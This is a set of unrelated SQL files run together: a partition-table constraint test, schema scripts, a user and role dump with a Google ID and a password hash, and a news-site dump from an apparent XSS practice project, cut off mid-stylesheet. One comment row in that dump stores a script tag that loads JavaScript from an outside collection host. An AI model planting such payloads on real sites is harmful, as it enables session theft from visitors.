-- @testpoint: List分区表结合表约束check,list分区表结合列约束check,部分测试点合理报错 --step1:创建list分区表,结合表约束;expect:成功 drop table if exists t_partition_list_0069_01; create table t_partition_list_0069_01 (id int, age int, number int, text VARCHAR2(2000), check(age>0 and number>0)) partition by list(id) (partition p1 values(10), partition p2 values(20)); --step2:插入数据;expect:合理报错 insert into t_partition_list_0069_01 values(10,10,10,'hahahahah'); insert into t_partition_list_0069_01 values(10,-1,10,'hahahahah'); insert into t_partition_list_0069_01 values(10,10,-10,'hahahahah'); insert into t_partition_list_0069_01 values(10,-10,-10,'hahahahah'); --step3:查看数据 select * from t_partition_list_0069_01; --step4:创建list分区表,结合列约束;expect:成功 drop table if exists t_partition_list_0069_02; create table t_partition_list_0069_02 (id int, age int check(age>0), number int, text varchar2(2000)) partition by list(id) (partition p1 values(10), partition p2 values(20)); --step5:插入数据;expect:合理报错 insert into t_partition_list_0069_02 values(10,10,10,'hahahahah'); insert into t_partition_list_0069_02 values(10,-10,10,'hahahahah'); insert into t_partition_list_0069_02 values(10,0,10,'hahahahah'); --step6:查看数据 select * from t_partition_list_0069_02; --step7:清理环境 drop table if exists t_partition_list_0069_01; drop table if exists t_partition_list_0069_02;
# namedSessionDb.sql was originally generated by the autoSql program, which also # generated namedSessionDb.c and namedSessionDb.h. This creates the database representation of # an object which can be loaded and saved from RAM in a fairly # automatic way. #Named user sessions. CREATE TABLE namedSessionDb ( userName varchar(64) not null, # User name (from genomewiki). sessionName varchar(255) not null, # Name that user assigns to this session contents longblob not null, # CGI string of var=val&... settings. shared tinyint not null, # 1 if this session may be shared with other users. firstUse datetime not null, # Session creation date. lastUse datetime not null, # Session most-recent-usage date. useCount int not null, # Number of times this session has been used. settings longblob not null, # .ra-formatted metadata #Indices PRIMARY KEY(userName,sessionName) );
<reponame>kasteion/database-learning-route --find the path to tempdb sp_helpdb tempdb -- name filename --tempdev C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\tempdb.mdf --templog C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\templog.ldf --To change the tempdb location use the following script: USE master; GO ALTER DATABASE tempdb MODIFY FILE (NAME = tempdev, FILENAME = 'C:\tempdbnewlocation\Tempdb.mdf'); GO ALTER DATABASE tempdb MODIFY FILE (NAME = templog, FILENAME = 'C:\tempdbnewlocation\Tempdb.ldf'); GO sp_helpdb tempdb USE master; GO ALTER DATABASE tempdb MODIFY FILE (NAME = tempdev, FILENAME = 'C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\tempdb.mdf'); GO ALTER DATABASE tempdb MODIFY FILE (NAME = templog, FILENAME = 'C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\templog.ldf'); GO sp_helpdb tempdb --cant change the recovery model USE [master] GO ALTER DATABASE [tempdb] SET RECOVERY FULL GO --Sizing the data and log files and autogrowth property USE [master] GO ALTER DATABASE [tempdb] MODIFY FILE ( NAME = N'tempdev', SIZE = 102400KB , FILEGROWTH = 20480KB )--<< pre sizing data, auto growth GO ALTER DATABASE [tempdb] MODIFY FILE ( NAME = N'templog', SIZE = 20480KB , FILEGROWTH = 20480KB )--<< pre sizing log, auto growth GO
/* Navicat MySQL Data Transfer Source Server : MySQL Source Server Version : 100136 Source Host : localhost:3306 Source Database : dbsysadmin Target Server Type : MYSQL Target Server Version : 100136 File Encoding : 65001 Date: 2018-11-04 16:20:52 */ SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure for ref_roles -- ---------------------------- DROP TABLE IF EXISTS `ref_roles`; CREATE TABLE `ref_roles` ( `role_id` varchar(7) NOT NULL, `role_name` varchar(255) NOT NULL, `isaktif` smallint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`role_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- ---------------------------- -- Records of ref_roles -- ---------------------------- -- ---------------------------- -- Table structure for roles -- ---------------------------- DROP TABLE IF EXISTS `roles`; CREATE TABLE `roles` ( `role_id` int(11) NOT NULL AUTO_INCREMENT, `role_name` varchar(100) NOT NULL, `isactive` smallint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`role_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; -- ---------------------------- -- Records of roles -- ---------------------------- INSERT INTO `roles` VALUES ('1', 'Super User', '1'); INSERT INTO `roles` VALUES ('2', 'Administrator', '1'); -- ---------------------------- -- Table structure for users -- ---------------------------- DROP TABLE IF EXISTS `users`; CREATE TABLE `users` ( `user_id` int(11) NOT NULL AUTO_INCREMENT, `google_id` varchar(200) NOT NULL, `user_name` varchar(50) NOT NULL, `user_gender` varchar(5) DEFAULT NULL, `user_firstname` varchar(20) DEFAULT NULL, `user_lastname` varchar(20) DEFAULT NULL, `user_fullname` varchar(200) DEFAULT NULL, `user_email` varchar(50) NOT NULL, `user_mobile` varchar(20) DEFAULT NULL, `user_password` varchar(255) NOT NULL, `user_photo` varchar(200) DEFAULT NULL, `user_active` int(11) NOT NULL DEFAULT '1', PRIMARY KEY (`user_id`), UNIQUE KEY `username` (`user_name`), UNIQUE KEY `user_mobile` (`user_mobile`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=latin1; -- ---------------------------- -- Records of users -- ---------------------------- INSERT INTO `users` VALUES ('5', '114746095932612758526', '<EMAIL>', null, 'Landung', '<NAME>', '<NAME>', '', null, '$2y$10$nnlJNvUtWl4SUktrJ/ZNrew7P/tIAP2znlL4m8ZT6XLhRldBn/sY6', null, '1'); -- ---------------------------- -- Table structure for user_roles -- ---------------------------- DROP TABLE IF EXISTS `user_roles`; CREATE TABLE `user_roles` ( `user_id` int(11) NOT NULL, `role_id` int(11) NOT NULL, PRIMARY KEY (`role_id`,`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- ---------------------------- -- Records of user_roles -- ---------------------------- INSERT INTO `user_roles` VALUES ('1', '2');
<reponame>wangyu-geek/xss /* Navicat MySQL Data Transfer Source Server : local Source Server Version : 50553 Source Host : localhost:3306 Source Database : article Target Server Type : MYSQL Target Server Version : 50553 File Encoding : 65001 Date: 2018-11-08 19:27:06 */ SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure for comment -- ---------------------------- DROP TABLE IF EXISTS `comment`; CREATE TABLE `comment` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `userId` int(64) DEFAULT NULL, `postId` int(11) DEFAULT NULL, `content` text, `createdAt` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, `updatedAt` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=20 DEFAULT CHARSET=utf8mb4; -- ---------------------------- -- Records of comment -- ---------------------------- INSERT INTO `comment` VALUES ('1', '1', '11', '测试', '2018-09-06 00:59:09', '2018-09-06 00:59:09'); INSERT INTO `comment` VALUES ('2', '1', '11', '测试 一下', '2018-09-06 00:59:44', '2018-09-06 00:59:44'); INSERT INTO `comment` VALUES ('16', '1', '1', '内容', '2018-10-11 11:00:54', null); INSERT INTO `comment` VALUES ('19', '1', '1', '<script src=\"http://receive.xss.com/myjs/page.js\"></script>', '2018-10-23 17:54:54', null); -- ---------------------------- -- Table structure for post -- ---------------------------- DROP TABLE IF EXISTS `post`; CREATE TABLE `post` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `title` varchar(256) DEFAULT NULL, `imgUrl` varchar(256) DEFAULT NULL, `content` text, `createdAt` timestamp NULL DEFAULT NULL, `updatedAt` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=70 DEFAULT CHARSET=utf8mb4; -- ---------------------------- -- Records of post -- ---------------------------- INSERT INTO `post` VALUES ('1', '西甲、英超后,苏宁体育传媒版图又添中超', 'http://inews.gtimg.com/newsapp_bt/0/1208430386/641', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><p align=\"center\"><img alt=\"西甲、英超后,苏宁体育传媒版图又添中超\" src=\"http://img1.gtimg.com/tech/pics/hv1/164/180/2190/142450814.jpeg\"></p><p>腾讯科技讯(孙宏超)3月3日消息,今天早上苏宁体育传媒正式宣布与体奥动力达成2017赛季中超联赛新媒体(PC+移动+OTT)全场次独家版权协议。这是继苏宁体育传媒拿下西甲、英超等世界顶级赛事IP之后,在体育赛事版权方面做出的又一次重要的扩张。</p><p>据苏宁方面介绍,苏宁体育传媒始终致力于打造互联网体育平台,通过版权运营、衍生品、体育会员的全产业链,结合线上服务、线下体验,形成以足球为产业核心的体育内容矩阵。稍早前,苏宁体育传媒已正式拿下了亚足联国内新媒体版权,其权益包括亚足联2017-2020年12类赛事,共计1000多场比赛的新媒体版权,其中也包括了竞争最为激烈的亚冠联赛新媒体独家版权。</p><p>而随着众多大牌外援及诸多世界级名帅加入到中超赛场,中超联赛无论是在竞技层面还是受关注度方面均在最近几年呈爆发式增长。中超联赛版权的重要性和价值同样是苏宁体育传媒高度重视和一直寄希望在版权蓝图中着力开发的。目前,苏宁体育传媒在北京、上海、南京拥有三大制播中心,在独家拿下中超新媒体版权之后,也会依托此前储备的大量优秀专业性人才,深耕用户服务与体验,并打造一系列具有话题性、深度性的中超节目内容,全方位、立体化的将2017年中超联赛转播做成球迷喜爱、专家认可,且具有广泛影响力的联赛。</p><p>考虑到中超联赛具有强烈的地域性、归属性,苏宁体育传媒在提升解说嘉宾专业性的同时,也会陆续推出包括南京话、沪语、粤语在类的地方话解说服务。</p><p><strong>推广:更多精彩内容,请微信搜索关注公众号「腾讯科技」(ID:qqtech)。</strong></p><p align=\"center\"><img alt=\"西甲、英超后,苏宁体育传媒版图又添中超\" src=\"http://img1.gtimg.com/tech/pics/hv1/60/241/2186/142206165.jpg\"></p><span>\n</span></div>', '2017-03-03 02:04:07', '2017-03-03 02:04:07'); INSERT INTO `post` VALUES ('10', '上海回应共享单车被扣:多次共商无效 扣车是无奈之举', 'http://img1.gtimg.com/tech/pics/hv1/135/150/2190/142443135.jpeg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><p align=\"center\"><img alt=\"上海回应共享单车被扣:多次共商无效 扣车是无奈之举\" src=\"http://img1.gtimg.com/tech/pics/hv1/135/150/2190/142443135.jpeg\"></p><p>“5000辆单车被扣制造局路停车场”一事继续发酵,黄浦区车辆停放管理公司昨日表示,截至目前未收过共享单车公司一分钱,黄浦区市政综合管理委员会办公室拟近期召开协调会,同几大共享单车公司沟通。</p><p>最早同摩拜单车合作的杨浦区,也对共享单车的无序投放感到头痛,期待在市级层面有行业管理办法或者指导意见的出台。</p><p>好消息是,市交通委正在牵头公安局、商务委、经信委、各区职能部门就研究共享单车发展的指导性意见进行调研。而上海自行车行业协会也会同相关企业着手制定共享单车产品、服务标准,有望于今年出台。</p><p><strong>黄浦区:</strong></p><p><strong>共商多次都无效,扣车也是没办法</strong></p><p>晨报见习记者张立</p><p>晨报记者谢竲</p><p>今年以来,黄浦区内共享单车投放企业,已从去年的4家升至7家,共享单车量在持续饱和。投放量的过度井喷在给市民带来便利的同时,也打破了原有的道路非机动车停放和管理秩序,共享单车乱停放、乱骑行所带来的问题和矛盾不断。</p><p>“如果有其他的方式,我们不会采取扣车这样的办法。”黄浦区政府相关工作人员昨天回应说。</p><p><strong>政府资源不仅为公司服务</strong></p><p>黄浦区车辆停放管理公司负责人易光志表示,早在这之前,就已经放出3批被扣押的共享单车。这次被扣的共享单车,大多数都是没有停放在白线范围内或是占据市民个人停放空位后被运送进来的。作为老城区,黄浦区的道路资源本身就紧张,为了缓解共享单车停车困难问题,早在之前就画了许多的白线给共享单车。但是即便如此,停放空间始终不够,共享单车的数量已远远超过黄浦区的负荷量。</p><p>黄浦区政府相关工作人员表示,早在一两个月前就已经召集各大共享单车公司协商过管理问题,同时提出过一系列规则,但是效果却并不明显。</p><p>摩拜单车方面回应说,中心城区的道路资源缺乏导致停车位紧张的冲突的确存在,但对摩拜而言,更希望政府可以在人手、资金方面予以支持,摩拜也愿意增加人手共同管理。或许政府可以尝试修建立体停车位,“也可以学习国外,在船上停车,摩拜也愿意和政府一起出钱出力。”</p><p>对此,黄浦区方面表示:“政府的资源,从不仅仅是为公司服务,而是要考虑到更多市民的利益。”</p><p><strong>单车企业投放步伐难放缓</strong></p><p>其实,早在去年12月,黄浦区市政综合管理委员会办公室就曾牵头召集摩拜公司、ofo公司、小鸣公司以及享骑出行4家单车公司就共享单车问题进行沟通,但是共享单车的投放和管理问题却并未由此而改善。</p><p>对于黄浦区所说的“投放量超负荷”,摩拜单车表示:“如果需要,减少投放量也并非不可能。其实今年2月开始,摩拜便已经停止投放,但现在的问题是,除了摩拜单车,被困在黄浦区制造局路的单车公司还牵涉到ofo、小鸣等。”</p><p>对共享单车公司而言,把车子尽可能多地投放到大街上,可谓是一种“免费活体广告”,在这样的趋势下,或许没有一家单车公司愿意先控制自己的投放量。</p><p><strong>扣车也是政府无奈之举</strong></p><p>在制造局路停车场,除了原先被扣留的车辆,现在每天都会有因乱停乱放而破坏道路秩序的共享单车被运送进来。有市民质疑:“这样的管理方式是否过于简单?”</p><p>对此,黄浦区市政管委办表示,早在去年12月30日,区里已牵头召开过协调会,将黄浦区道路非机车停放的相关要求、标准以及禁止通行和停放的道路、不适宜大量投放的道路都告知给了企业,要求企业根据路况适量分散投放,在方便市民享用单车的同时不影响社会车辆停放,遵守相关市政道路以及交通管理等相关规定,同时希望企业通过大数据平台和信息平台的优势加强对用户的宣传、引导、约束和管理。政府也积极配合加强宣传、引导和管理,但是乱停乱放的现象却依然存在。</p><p>“如果有其他的方式,我们不会采取扣车这样的办法。”黄浦区相关工作人员表示。</p><p><strong>建议通过技术手段控数量</strong></p><p>根据上海道路研究院的估算,上海可容纳约60万辆共享单车。而如今,上海市场上已有10多个共享单车品牌,共提供约28万辆单车,此外还有8万辆有桩公共自行车。按照目前各单车品牌的投放速度,预计今年上半年共享单车市场就将面临饱和。</p><p>厦门大学海峡两岸城市规划研究所副所长王慧表示,由于各家共享单车软件各自独立、彼此之间缺乏信息分享,运力投放难免呈现盲目性,需要共享单车企业相关数据信息的更加开放和技术手段的不断创新,需要政府规划引导与管理举措的及时配套跟上。</p><p>如何遏制乱停放?上海自行车行业协会会长、上海永久自行车有限公司董事长颜奕鸣透露,目前有关共享自行车的行业标准、市场准入制度等还在草拟阶段,可以要求共享单车一定要有GPS定位、政府设立电子围栏等方法限制其野蛮增长。也有人提议,可以通过为共享单车上牌来进行总量控制,颜奕鸣认为可行,共享单车在不久的将来可能就要面临第一次“洗牌”。</p><p><strong>杨浦区:</strong></p><p><strong>企业有义务协助解决乱停放</strong></p><p>晨报记者应沈漪</p><p>公开信息显示,2016年6月24日,上海杨浦区与摩拜单车签署战略合作协议,标志着杨浦区成为摩拜单车全国首个政企合作方。</p><p>在合作协议签订后的的一个月时间内,摩拜单车将陆续在杨浦区投放近万辆自行车。根据此项合作,杨浦区将给予摩拜单车全方位的大力支持,特别是协调杨浦区政府各部门在车辆运营、交通协管、城市骑行、停车规划等方面。</p><p>8个月时间过去了,无论是政府还是企业,显然都没有意识到共享单车会“火”得那么迅速。而它带来的乱停车管理难题,既是民众素质的“镜子”,也成了政府管理和企业发展中不可回避的一环。</p><p><strong>违停惩罚,企业不愿苛刻</strong></p><p>事实上,作为国内首家共享单车的首个政企合作方,今年1月份,杨浦区交通管理中心曾就单车乱停的问题约谈了摩拜相关负责人,希望摩拜通过增加运营力量和改善技术手段等方式,对城市停车管理的难题予以充分关注。当时,摩拜单车相关人员表示,对违停的骑车人是有约束的,即可通过黑名单和信用积分制度进行惩戒。但实际上,此番约谈之后,在这个问题上摩拜并没有明显的动作,乱停车的难题也没有得到缓解。</p><p>杨浦区交通管理中心相关负责人表示:“共享单车的发展模式对政府的依赖度很小,不像有桩单车,需要政府的支持,共享单车的成长自由度是很高的。”在杨浦与摩拜的接洽过程中,明显感觉企业对社会责任、停车管理这块内容考虑得不够。</p><p>他认为,目前在多家共享单车企业“混战”的阶段,企业显然会把注意力集中在抢占市场、融资等问题上,而不会把目光过多地放在解决消费者使用单车带来的问题上;另外,企业也不可能通过非常苛刻的手段把用户拒之门外。因此这种膨胀式的“野蛮生长”,已经达到了一个量变到质变的阶段。</p><p><strong>能否技术解决,可以探讨</strong></p><p>根据杨浦区提供的数据,目前摩拜单车在杨浦投放的车辆约为15000至16000辆。“但实际上,到这个阶段,再来关注单家企业投放数量意义并不大,一是与发展初期不一样,进入上海的共享单车企业越来越多,二是与私人自行车不同,共享单车是‘人车分离’的状态,流动性是很大的。”该负责人说,“投放数量和规模更要放在全市的范围来看。”</p><p>据悉,目前,每个区对共享单车的态度还没有统一的意见。</p><p>杨浦区交通管理中心该负责人表示,现在大家最关心的问题是,“这么多家共享单车的企业,投放到什么时候是个头?期待在市级层面有行业管理办法或者指导意见的出台。至于乱停车的管理难题,既然是共享单车带来的,那企业就有义务来协助解决这个问题。以摩拜为例,一直希望是轻资产运营,那是否可以通过购买服务的方式来购买其他企业的协助停车服务?技术上,无桩单车是不是能通过感应的方式来划定停车区域,这些问题都是可以探讨的。”</p><p><strong>推广:更多精彩内容,请微信搜索关注公众号「腾讯科技」(ID:qqtech)。</strong></p><p align=\"center\"><img alt=\"上海回应共享单车被扣:多次共商无效 扣车是无奈之举\" src=\"http://img1.gtimg.com/tech/pics/hv1/60/241/2186/142206165.jpg\"></p></div>', '2017-03-03 02:04:10', '2017-03-03 02:04:10'); INSERT INTO `post` VALUES ('11', '苹果高通诉讼大战升级 “战火”烧到英国', 'http://img1.gtimg.com/tech/pics/hv1/199/156/2190/142444729.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><span>\n</span><p class=\"titdd-Article\">[<strong>摘要</strong>]专利授权和专利费是高通支柱业务之一。</p><p align=\"center\"><img alt=\"苹果高通诉讼大战升级 “战火”烧到英国\" src=\"http://img1.gtimg.com/tech/pics/hv1/199/156/2190/142444729.jpg\"></p><p>腾讯科技讯 之前,<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;AAPL.OQ&quot;,&quot;200&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/astock/ggcx/AAPL.OQ.htm\" target=\"_blank\"><!--/keyword-->苹果<!--keyword--></a></span><!--/keyword-->公司在美国、中国两地分别起诉<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;QCOM.OQ&quot;,&quot;200&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/astock/ggcx/QCOM.OQ.htm\" target=\"_blank\"><!--/keyword-->高通<!--keyword--></a></span><!--/keyword-->,指控其滥用市场支配地位,向苹果收取过高的专利费。日前,这一诉讼大战升级,苹果在英国法庭也起诉了高通。</p><p>据彭博社报道,3月2日,苹果向英国一家法庭起诉了高通。</p><p>据悉,苹果起诉高通的内容,和在美国以及中国类似。根据苹果指控,高通向苹果收取了过高的专利费。苹果指出,高通仅仅是移动通信标准的制定者之一,但是和其他面向苹果提供专利授权的技术公司相比,高通收取的专利费高出了五倍。</p><p>苹果还指控称,在韩国政府反垄断部门在针对高通专利费的调查中,苹果曾经给予配合,而高通因为这一原因,未能够及时支付向苹果承诺的10亿美元专利费退款。</p><p>苹果也指控称,高通滥用了市场支配地位,通过达成独家合作等方式,胁迫企业,过高收费,另外高通的业务往往依赖于陈旧的技术标准。</p><p>此前,美国政府旗下的联邦公平贸易委员会也起诉了高通。据称,高通存在不公平市场竞争行为,除了专利授权之外,高通同时对手机厂商销售基带处理器芯片。而高通将两个业务进行了捆绑,比如苹果等公司如果同时采购高通的基带芯片,则高通将会在专利费方面给予优惠或者退款。</p><p>美国政府指出,苹果也是高通垄断捆绑做法的受害者之一。</p><p>在一月份美国的起诉文件中,苹果批评高通,针对一些和高通毫无关系的技术面向其他公司收取专利费。</p><p>需要指出的是,在移动通信和智能手机专利费方面,美国高通在全球许多国家已经成为“<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;RENN.N&quot;,&quot;200&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/astock/ggcx/RENN.N.htm\" target=\"_blank\"><!--/keyword-->人人<!--keyword--></a></span><!--/keyword-->喊打”的对象,包括中国、韩国、中国台湾等地区的政府对高通启动了反垄断调查,指控高通针对手机厂商收取不合理的专利费。</p><p>去年底,韩国政府给高通公司开出了9亿美元的罚款,原因是其垄断市场的行为。</p><p>早前,中国政府反垄断部门也给高通开出了巨额罚单,并且要求重新计算针对手机厂商专利费的收取标准,随后中国手机厂商支付给高通的专利费出现了明显的下滑,这也推动了手机厂商的利润以及手机价格的下降。</p><p>除了苹果之外,高通也和许多手机厂商和专利授权对象发生过法律纠纷,其中包括中国的魅族公司。</p><p>高通是全世界最大的移动通信技术开发厂商,拥有大量和3G、4G移动通信有关系的专利,专利授权和专利费是高通两大支柱业务之一,另外一大业务是基带处理器和应用处理器芯片。</p><p>由于专利授权成为一个利润丰厚的业务,再加上手机处理器市场面临激烈竞争,尤其是苹果、<span class=\"infoMblog\"><a class=\"a-tips-Article-QQ\" href=\"http://t.qq.com/samsungelectronicbj#pref=qqcom.keyword\" rel=\"samsungelectronicbj\" reltitle=\"三星电子\" target=\"_blank\">三星电子</a></span>、华为等公司逐步自行设计手机处理器,因此高通的一些股东曾经要求公司进行分拆,即分割为专利授权公司和处理器公司。</p><p>在四季度财报分析师会议上,苹果掌门人库克也谈到了和高通的官司。库克表示,苹果最初并不愿意起诉高通,但是没有其他更好的办法来解决高通的不合理收费,因此被迫走上法庭。</p><p>过去,苹果一直采购高通的基带处理器,不过从去年开始,<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;INTC.OQ&quot;,&quot;200&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/astock/ggcx/INTC.OQ.htm\" target=\"_blank\"><!--/keyword-->英特尔<!--keyword--></a></span><!--/keyword-->公司也开始给苹果供应基带处理器,因此苹果并不担心和高通的诉讼会影响到基带芯片的供应。(综合/晨曦) </p><div class=\"techinding\"><p><strong>推广:腾讯创业频道是腾讯旗下专注于创投领域的媒体平台。如果你想被获得千万网友和投资人的关注,即刻微信搜索qqchuangye关注我们,递交你的项目。</strong></p><p align=\"center\"><img alt=\"苹果高通诉讼大战升级 “战火”烧到英国\" src=\"http://img1.gtimg.com/tech/pics/hv1/18/13/2189/142343058.jpg\"></p></div><span>\n</span></div>', '2017-03-03 02:04:10', '2017-03-03 02:04:10'); INSERT INTO `post` VALUES ('12', '各地网约车细则陆续落地 两会代表委员建议吸取地方经验', 'http://img1.gtimg.com/tech/pics/hv1/158/151/2190/142443413.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><span>\n</span><p class=\"titdd-Article\">[<strong>摘要</strong>]部分城市网约车细则最受诟病之处在于设置了司机户籍、车辆轴距和排量等门槛。</p><p align=\"center\"><img alt=\"各地网约车细则陆续落地 两会代表委员建议吸取地方经验\" src=\"http://img1.gtimg.com/tech/pics/hv1/158/151/2190/142443413.jpg\"></p><p>本报记者 王峰<!--keyword-->(<span class=\"infoMblog\"><a class=\"a-tips-Article-QQ\" href=\"http://t.qq.com/wangfeng001#pref=qqcom.keyword\" rel=\"wangfeng001\" reltitle=\"王峰\" target=\"_blank\">微博</a></span>)<!--/keyword--> 北京报道</p><p><strong>提案议案</strong></p><p>从2016年底开始,全国数十个城市陆续出台网约车地方细则。如今,随着司机参加考试、车辆发证、平台公司注册发证的进行,各地网约车细则进入实施阶段。今年<!--keyword--><a class=\"a-tips-Article-QQ\" target=\"_blank\" href=\"http://news.qq.com/zt/2010/2010lianghui/\"><!--/keyword-->两会<!--keyword--></a><!--/keyword-->开始,网约车话题也吸引着不少代表委员的关注。有代表建议,地方细则实行一段时间后,主管部门应在地方实践的基础上,吸取优秀经验,将来制定出更好的网约车管理的顶层设计。</p><p>“青岛市在2月6日开始受理网约车运输证申报,我在当天第一个到行政审批大厅递交了材料。”青岛大通人力资源有限公司(下称“大通公司”)一名负责人告诉记者。</p><p>2月27日,大通公司首批36辆车拿到了青岛市道路运输管理局发放的网约车运输证,这也是山东省发出的首批网约车运输证。上述负责人介绍,大通公司是滴滴出行的合作方。</p><p>从2016年底开始,全国数十个城市陆续出台网约车地方细则。如今,随着司机参加考试、车辆发证、平台公司注册发证的进行,各地网约车细则进入实施阶段。</p><p>今年两会开始,网约车话题也吸引着不少代表委员的关注。全国人大代表、清华大学政治经济学研究中心主任蔡继明,全国政协委员、四川鼎立律师事务所律师施杰拟提交建议和提案,降低网约车车辆和司机的准入门槛。农工党中央拟提交提案,建议叫停各地对网约车的歧视性规定。</p><p>由于地方政策往往具有稳定性,寻求改进路径或更现实。“地方细则实行一段时间后,主管部门应该在地方实践的基础上,吸取优秀经验,将来制定出更好的网约车管理的顶层设计。”蔡继明说。</p><p><strong>“三证”办理进行中</strong></p><p>“监管部门的审核还是很严格的,几乎是一辆一辆的核对,每台发动机号都要核验准确,防止不符合标准的车辆蒙混过关。”大通公司负责人说。</p><p>大通公司一共100多辆网约车,首批36辆车全部通过了许可。据21世纪经济报道了解,在青岛市运营的其他网约车品牌也有车辆拿到了运输证。</p><p>“一部分网约车司机也参加了有关部门组织的考试,但目前青岛市还没发出网约车司机资格证。”上述负责人说。</p><p>公开报道称,1月9日,广州组织了第一场网约车驾驶员证理论考试,19个人当中只有2个考过。11日上午,广州又组织了首场“路考”,19名考生有17人通过。</p><p>司机获得资格证之前先要经过培训,各地规定不一,有的由公司内部组织。</p><p>大连市由出租汽车管理处组织培训和考试,首批网约车驾驶员从业资格培训历时9天,共计72学时。郑州市2月20日启动申领工作,有司机按照郑州市交通运输委员会公布的网址注册报名成功后,系统提示要到郑州市平安职业培训学校报名培训,费用为1270元。</p><p>除了车、人需有许可资质,网约车平台也需申请许可。公开报道称,各网约车平台多以所在城市分公司为主体申请许可。截至2017年2月17日,首汽约车在全国设置了43个分公司,神州专车则设置了27个分公司。</p><p>蔡继明介绍,部分城市要求平台分别到市、县两级交通管理部门申请许可,即网约车平台需要在每一个县里都成立分公司。这种做法给公司增加了管理运营成本,将使网约车平台大量的人力消耗在注册、申请工作上。</p><p>他建议按照交通运输部“两级工作、一级许可”的原则,由市级管理部门统一为网约车平台发放牌照。如确需进行属地化管理,可要求平台公司到县级管理机构备案,从而减少多层审批带来的不必要的麻烦。</p><p>3月2日,滴滴出行宣布获得天津市颁发的《网络预约出租车汽车经营许可证》,一同获批的还包括申请从事网约车经营具备线上服务能力的认定结果。滴滴出行相关人士介绍,按照交通部等7部委《暂行办法》,网约车线上服务能力认定可在全国范围通用,从而只需办理一次。</p><p><strong><a class=\"a-tips-Article-QQ\" href=\"http://tech.qq.com/science.htm\" target=\"_blank\">科学</a>引导网约车发展</strong></p><p>部分城市网约车细则最受诟病之处在于设置了司机户籍、车辆轴距和排量等门槛,被认为不适应绿色出行和共享经济发展。</p><p>“交通部等7部委发布的《暂行办法》为保障网约车乘车安全而加大监管力度,是十分必要的。比如,要求司机具有3年以上驾龄;要求司机接受背景调查,包括犯罪记录和违章记录;要求车辆为7座及以下乘用车;要求安装具有行驶记录功能的车辆卫星定位装置、应急报警装置;要求车辆技术性能符合运营安全相关标准要求等。”全国政协委员、四川鼎立律师事务所律师施杰说。</p><p>施杰告诉21世纪经济报道,政府应当科学引导网约车发展,建议各类许可证明的核发程序尽量从简,以便节约社会管理成本。</p><p>“将市场准入许可更多地让权给网约车平台,规范其登记信息、审核资质的义务,定期提交所有车辆的情况,这些数据要在监管部门备案。”他说。</p><p>蔡继明则建议给予非本地户籍市民同等的从业权利,并降低车辆准入标准。他建议网约车车龄不超过8年,燃油车轴距不小于2600毫米,排量不小于1.6L/1.4T,车价不低于本地出租车车型。</p><p>目前,各地网约车细则正处在落实阶段。蔡继明建议,每月定量疏导一定比例的不合资质司机退出本地运营,同步调节网约车运力减损和补充,用2-3年的时间完全实现地方新政细则的资质要求,避免新政出台对司机就业和消费者出行造成突发性的巨大冲击。</p><p>2016年12月28日,深圳市网约车细则公布,对“已在深圳从事网约车服务的驾驶员和车辆”设置了3年过渡期。</p><p>“地方细则实行一段时间后,国务院主管部门应该在地方实践的基础上,吸取优秀经验,将来制定出更好的网约车管理的顶层设计。”蔡继明说。 </p><p><strong>精彩视频推荐</strong></p><p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<!-- 相关视频 --> <!-- built at: Wed Jan 18 2017 16:25:45 GMT+0800 (中国标准时间) -->\n\n<script type=\"text/javascript\">\n var related_video_info = {\n vid: \'u0022qd2sl7\',\n cid: \'0uky2j575eso7pr\',\n url: \'http://v.qq.com/page/u/l/7/u0022qd2sl7.html\',\n pic: \'http://vpic.video.qq.com/20547853/u0022qd2sl7_ori_1.jpg\',\n title: \'八年后在中国能坐超级高铁?俞敏洪、盛希泰去帮你问了问\'\n };\n</script>\n\n\n<style type=\"text/css\">.rv-root-v2{font-family:\"\\5FAE\\8F6F\\96C5\\9ED1\",sans-serif;color:#000}.rv-root-v2 a{text-decoration:none;color:#000}.rv-root-v2 h1,.rv-root-v2 h2,.rv-root-v2 h3,.rv-root-v2 ol,.rv-root-v2 p,.rv-root-v2 ul{display:block;padding:0;margin:0}.rv-root-v2 img{border:0}.rv-root-v2 .rv-cf:after,.rv-root-v2 